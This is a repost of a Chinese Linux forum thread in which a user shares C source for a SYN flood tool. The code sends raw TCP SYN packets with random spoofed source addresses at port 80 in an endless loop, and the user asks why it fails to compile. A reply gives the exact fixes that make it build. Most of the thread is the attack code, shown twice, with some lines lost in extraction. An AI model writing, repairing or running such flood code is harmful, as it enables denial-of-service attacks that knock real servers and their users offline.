当前位置: 技术问答>linux和unix
linux SYN洪水源码问题
来源: 互联网 发布时间:2016-11-28
本文导语: #include #include #include #include #include #include #include #include #include #include #define DESTPORT 80 /*目的端口,定义要攻击的端口,80为web服务器*/ #define MYPORT 8888 /*自己的端口*/ //#define LOCALPORT 8889 //这个端...
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /*目的端口,定义要攻击的端口,80为web服务器*/
#define MYPORT 8888 /*自己的端口*/
//#define LOCALPORT 8889 //这个端口是否要定义,如果不定义是从那里来的
int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in addr;
int on;
on = 1;
if(argc != 2){
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(DESTPORT);
inet_aton(argv[1], &addr.sin_addr); //inet_aton()是一个改进的方法来将一个字符串IP地址转换为一个32位的网络序列IP地址。
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = MAXTTL;
ip->ip_p = IPPROTO_TCP;
ip->ip_sum = 0;
ip->ip_dst = addr->sin_addr; //出现问题
/****开始填充TCP数据报*****/
tcp = (struct tcphdr*)(buffer+sizeof(struct ip)); /**/
tcp->source = htons(LOCALPORT);
tcp->dest = addr->sin_port; //出现问题
tcp->seq = random();
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1; /*表示SYN数据报*/
tcp->check = 0;
/*循环发送攻击包*/
while(1){
ip->ip_src.s_addr = random();
printf("地址是 %dn",ip->ip_src.s_addr);
sendto(sockfd,buffer,head_len,0,(struct sockaddr*)addr,sizeof(struct sockaddr)); /*发送攻击数据报*/
}
return 0;
}
/* 错误的提示
syn.c: In function ‘main’:
syn.c:58:20: error: invalid type argument of ‘->’ (have ‘struct sockaddr_in’)
syn.c:63:22: error: invalid type argument of ‘->’ (have ‘struct sockaddr_in’)
syn.c:74:46: error: cannot convert to a pointer type
*/
不知道为什么老出问题。真让我烦恼~!
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /*目的端口,定义要攻击的端口,80为web服务器*/
#define MYPORT 8888 /*自己的端口*/
//#define LOCALPORT 8889 //这个端口是否要定义,如果不定义是从那里来的
int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in addr;
int on;
on = 1;
if(argc != 2){
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(DESTPORT);
inet_aton(argv[1], &addr.sin_addr); //inet_aton()是一个改进的方法来将一个字符串IP地址转换为一个32位的网络序列IP地址。
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = MAXTTL;
ip->ip_p = IPPROTO_TCP;
ip->ip_sum = 0;
ip->ip_dst = addr->sin_addr; //出现问题
/****开始填充TCP数据报*****/
tcp = (struct tcphdr*)(buffer+sizeof(struct ip)); /**/
tcp->source = htons(LOCALPORT);
tcp->dest = addr->sin_port; //出现问题
tcp->seq = random();
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1; /*表示SYN数据报*/
tcp->check = 0;
/*循环发送攻击包*/
while(1){
ip->ip_src.s_addr = random();
printf("地址是 %dn",ip->ip_src.s_addr);
sendto(sockfd,buffer,head_len,0,(struct sockaddr*)addr,sizeof(struct sockaddr)); /*发送攻击数据报*/
}
return 0;
}
/* 错误的提示
syn.c: In function ‘main’:
syn.c:58:20: error: invalid type argument of ‘->’ (have ‘struct sockaddr_in’)
syn.c:63:22: error: invalid type argument of ‘->’ (have ‘struct sockaddr_in’)
syn.c:74:46: error: cannot convert to a pointer type
*/
不知道为什么老出问题。真让我烦恼~!
|
ip->ip_dst = addr.sin_addr;
tcp->dest = addr.sin_port;
sendto(sockfd,buffer,head_len,0,(struct sockaddr*)&addr,sizeof(struct sockaddr));
LOCALPORT 需要定义
#define LOCALPORT 8889
tcp->dest = addr.sin_port;
sendto(sockfd,buffer,head_len,0,(struct sockaddr*)&addr,sizeof(struct sockaddr));
LOCALPORT 需要定义
#define LOCALPORT 8889
|
这个年头,还有人玩洪水啊